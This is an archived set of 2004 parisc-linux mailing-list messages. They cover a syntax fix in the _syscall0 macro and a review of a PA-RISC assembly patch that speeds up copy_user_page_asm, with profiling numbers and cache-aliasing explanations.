	Sat, 25 Dec 2004 00:17:32 -0700 (MST)
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by free.linux.hp.com (Postfix) with ESMTP id 595A03BE4C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Dec 2004 00:17:31 -0700 (MST)
Original-Received: (qmail 21438 invoked from network); 25 Dec 2004 02:17:28 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 25 Dec 2004 02:17:28 -0500
Original-Received: (qmail 20316 invoked from network); 25 Dec 2004 02:17:26 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 25 Dec 2004 02:17:26 -0500
User-Agent: KMail/1.7.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22220

i was debugging a DirectFB build failure when i noticed that _syscall0() 
doesnt seem to be quite right ...

going by this little bit of code (see gettid(2) for info):
#include <sys/types.h>
#include <linux/unistd.h>
#include <errno.h>
_syscall0(pid_t,gettid)
pid_t gettid(void);
int main() { return 0; }

it fails to compile :(
gettid.c: In function `gettid':
gettid.c:5: error: parse error before ')' token

tried with gcc-3.3.5 and gcc-3.4.3 ...
using linux-2.6.8.1 headers here, but the define for _syscall0() doesnt seem 
to be different in 2.4 or 2.6 ... so what am i missing here ? :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _syscall0() and gettid()
Date: Sun, 26 Dec 2004 04:26:09 -0500
Organization: wh0rd.org
Lines: 24
Approved: news@gmane.org
Message-ID: <200412260426.09042.vapier@gentoo.org>
References: <200412250217.28635.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623629 12045 80.91.229.3 (22 Nov 2014 02:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 09:26:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 26 Dec 2004 10:26:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9087B3BE4B; Sun, 26 Dec 2004 02:26:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01214-08; Sun, 26 Dec 2004 02:26:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B16FD3BE4F; Sun, 26 Dec 2004 02:26:14 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 133053BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 02:26:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01214-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 02:26:08 -0700 (MST)
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by free.linux.hp.com (Postfix) with ESMTP id 940543BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 02:26:07 -0700 (MST)
Original-Received: (qmail 22064 invoked from network); 26 Dec 2004 04:26:05 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 26 Dec 2004 04:26:05 -0500
Original-Received: (qmail 16975 invoked from network); 26 Dec 2004 04:26:02 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Dec 2004 04:26:02 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <200412250217.28635.vapier@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22221

On Saturday 25 December 2004 02:17 am, Mike Frysinger wrote:
> gettid.c: In function `gettid':
> gettid.c:5: error: parse error before ')' token

ok, the error is K_INLINE_SYSCALL in asm/unistd.h in the last if statement:

         __sys_res = (long)__res;                \
     }                               \
     if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){    \
-        errno = -__sys_res);                     \
+        errno = -__sys_res;                     \
         __sys_res = -1;                     \
     }                               \
     __sys_res;                          \

that assignment to errno ... the parentheses is unbalanced ... i guess it 
could just be removed altogether :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _syscall0() and gettid()
Date: Sun, 26 Dec 2004 16:38:07 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20041226163807.GG11543@parcelfarce.linux.theplanet.co.uk>
References: <200412250217.28635.vapier@gentoo.org>
	<200412260426.09042.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623629 12048 80.91.229.3 (22 Nov 2014 02:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 16:38:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 26 Dec 2004 17:38:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A617D3BE56; Sun, 26 Dec 2004 09:38:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06628-04; Sun, 26 Dec 2004 09:38:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 638013BE59; Sun, 26 Dec 2004 09:38:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FD3A3BE56
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 09:38:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05381-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 09:38:09 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id E31A23BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 09:38:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CibPE-0007hf-1t; Sun, 26 Dec 2004 16:38:08 +0000
Content-Disposition: inline
In-Reply-To: <200412260426.09042.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22222

On Sun, Dec 26, 2004 at 04:26:09AM -0500, Mike Frysinger wrote:
> -        errno = -__sys_res);                     \
> +        errno = -__sys_res;                     \
> that assignment to errno ... the parentheses is unbalanced ... i guess it 
> could just be removed altogether :)

Checked in.  Thanks!

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Mon, 27 Dec 2004 09:08:13 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1104160093.5295.8.camel@mulgrave>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org> <41CFE6B1.6010707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623630 12052 80.91.229.3 (22 Nov 2014 02:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:50 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 15:09:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 27 Dec 2004 16:09:00 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 533673BE5A; Mon, 27 Dec 2004 08:08:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19187-03; Mon, 27 Dec 2004 08:08:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C7A803BE56; Mon, 27 Dec 2004 08:08:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19BCF3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 08:08:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17248-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 08:08:26 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 8861D3BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 08:08:25 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBRF8IF14490; Mon, 27 Dec 2004 10:08:19 -0500
In-Reply-To: <41CFE6B1.6010707@tiscali.be>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22223

On Mon, 2004-12-27 at 10:40 +0000, Joel Soete wrote:
> Should be why it was removed but as far as I didn't find any explanation (that's obvious: that's nearly impossible to explain all 
> details of implementation ;-)

I haven't time to look through the patch, but I can explain what the
pdtlb's are about in pacache.S.

Both copy_user_page_asm and __clear_user_page_asm use something called
the tmpalias mapping.  This is a 8MB reserved area that's used to prime
the user space cache.  What you do is to set up a temporary mapping for
the target of the copy which is congruent to the user space address
somewhere in the tmpalias region.  Then when you do the copy, the user
alias is automatically up to date as well (because the cache sees the
collision by virtue of its congruence properties).

It's a nice idea, but we've never been able to make it work in practise,
because the user page we're copying can be an executable page, and this
scheme only makes the d-cache correct.  If we had a way of telling
whether it's a data page or and instruction page, we could make it work.
That's why the mechanism is #if 0'd out.

On the other hand, we can use it for clear_user_page, because no-one
ever wants to clear an executable page before returning it to the user.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux]	clear user page test]
Date: Mon, 27 Dec 2004 00:36:54 -0700
Lines: 157
Approved: news@gmane.org
Message-ID: <20041227073654.GI29492@colo.lackof.org>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623630 12055 80.91.229.3 (22 Nov 2014 02:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 07:37:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 27 Dec 2004 08:37:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0A2FC3BE51; Mon, 27 Dec 2004 00:37:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14421-08; Mon, 27 Dec 2004 00:37:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CA6503BE56; Mon, 27 Dec 2004 00:37:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 100EE3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 00:37:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14421-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 00:37:12 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D98C23BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 00:37:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C89202980AA; Mon, 27 Dec 2004 00:37:10 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31542-06; Mon, 27 Dec 2004 00:37:01 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1EB412980B3; Mon, 27 Dec 2004 00:36:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A80E8000124B5@mail-6-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22224

On Tue, Dec 21, 2004 at 02:37:47PM +0100, Joel Soete wrote:
> Hello all,

Joel,
I trim your postings to only include the parts I need to respond to.
Could you please do the same?

I hate having to scroll down pages of stuff to get to your comment.
That's probably why no one else responded.


> As promised, here is a cleaner (?)  patch:
> --- arch/parisc/kernel/pacache.S.Orig	2004-12-20 08:28:23.000000000 +0100
> +++ arch/parisc/kernel/pacache.S	2004-12-20 14:49:35.000000000 +0100
> @@ -295,7 +295,52 @@
>  	.callinfo NO_CALLS
>  	.entry
> 
> -	ldi		64, %r1
> +	pdtlb		0(%r25)
> +	pdtlb		0(%r26)

Sorry - I missed why the pdtlb needs to be added.
Could you explain?

Won't the pdtlb guarantee at least one trap per page copied?
I would hope we guarantee the D-TLB is "clean" when calling this function.

> +#ifdef __LP64__
> +
> +	ldi		32, %r1			/* PAGE_SIZE/128 == 32 */
> +
> +1:	ldd		0(%r25), %r19
> +	ldd		8(%r25), %r20
> +	ldd		16(%r25), %r21
> +	ldd		24(%r25), %r22
> +	std		%r19, 0(%r26)
> +	std		%r20, 8(%r26)
> +	std		%r21, 16(%r26)
> +	std		%r22, 24(%r26)

This looks good.

PA2.0 can retire 2 loads and 2 stores per cycle IFF there are no dependencies.
can be executed in one cycle.

That means we want something like this:

+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
+	ldd		16(%r25), %r21
+	ldd		24(%r25), %r22
+	std		%r19, 0(%r26)
+	std		%r20, 8(%r26)
+	ldd		32(%r25), %r19
+	ldd		40(%r25), %r20
+	std		%r21, 16(%r26)
+	std		%r22, 24(%r26)
+	ldd		48(%r25), %r21
+	ldd		56(%r25), %r22
+	std		%r19, 32(%r26)
+	std		%r20, 40(%r26)
...
+	ldd		112(%r25), %r21
+	ldd		120(%r25), %r22
+	std		%r19, 96(%r26)
+	std		%r20, 104(%r26)
+	ldo		128(%r25), %r25
+	std		%r21, 112(%r26)
+	std		%r22, 120(%r26)
+	ADDIB>		-1, %r1, 1b
+	ldo		128(%r26), %r26
...

[ Note that I've moved the "ldo" around as well!]

More distance between the "ldd %rX" and the corresponding
"std %rX" is generally a good thing.
This routine could use more registers in the loop to get more "distance".

It costs us 1 cycle to save two registers on the stack.
Once the data is in L1-Cache, IFF the CPU needs more than one cycle
to retire successive loads, we gain several cycles assuming additional
register pairs are used multiply times per loop.
Anyone know how many cycles ldd from L1 takes?

I expect gcc encodes those times so it can schedule stuff optimally.
But I've forgotten where to find the PA2.0 scheduling magic.
It might be worth just letting gcc unroll the loop for us since
SR0 (kernel) is implied in all the ldd/std instructions.


> -	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
> -	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
> -	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
> +	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
> +	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
> +	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */

Please post white space changes as seperate patches.


> the loop used:
> export i=0 ; while [ $i -le 10 ] ; do make clean ; make oldconfig ; readprofile

3 to 5 iterations are sufficient for me (since they take so long).

> -r ; time make vmlinux ; readprofile >> /var/logs/prof.doc; i=$((i+1)) ;
> done 2>&1 | tee /var/logs/k-loop1
> 
> * with original 2.6.10-rc3-pa8 running kernel
> # grep "^user" k-loop1

Please use "^sys" or "^real".
"user" time is only number that should NOT change with this patch.

> # grep copy_user_page_asm prof.doc
>   3254 copy_user_page_asm                        20.3375
>   3273 copy_user_page_asm                        20.4563
...

> * with 2.6.10-rc3-pa8 + patch and without "pdtlb		0(%r2[56])"
...
> # grep copy_user_page_asm prof.doc
>   1818 copy_user_page_asm                        11.3625
>   1763 copy_user_page_asm                        11.0188
>   1785 copy_user_page_asm                        11.1562
...

This is clearly goodness.

> * with 2.6.10-rc3-pa8 + full patch
...
> # grep copy_user_page_asm prof.doc
>   1894 copy_user_page_asm                        11.8375
>   1972 copy_user_page_asm                        12.3250
>   1975 copy_user_page_asm                        12.3438
>   1880 copy_user_page_asm                        11.7500
>   1923 copy_user_page_asm                        12.0188

I expect extra traps and/or time spent ordering the TLB operations.
pdtlb is costing about 8% performance in this routine.
I definitely want a clear explanation before adding this.

> So the main interest is to reduce the number of clock ticks :-)

Yes. :^)


thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was: [parisc-linux]
	clear user page test]
Date: Mon, 27 Dec 2004 10:40:49 +0000
Lines: 151
Approved: news@gmane.org
Message-ID: <41CFE6B1.6010707@tiscali.be>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<20041227073654.GI29492@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623630 12056 80.91.229.3 (22 Nov 2014 02:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 10:41:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 27 Dec 2004 11:41:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
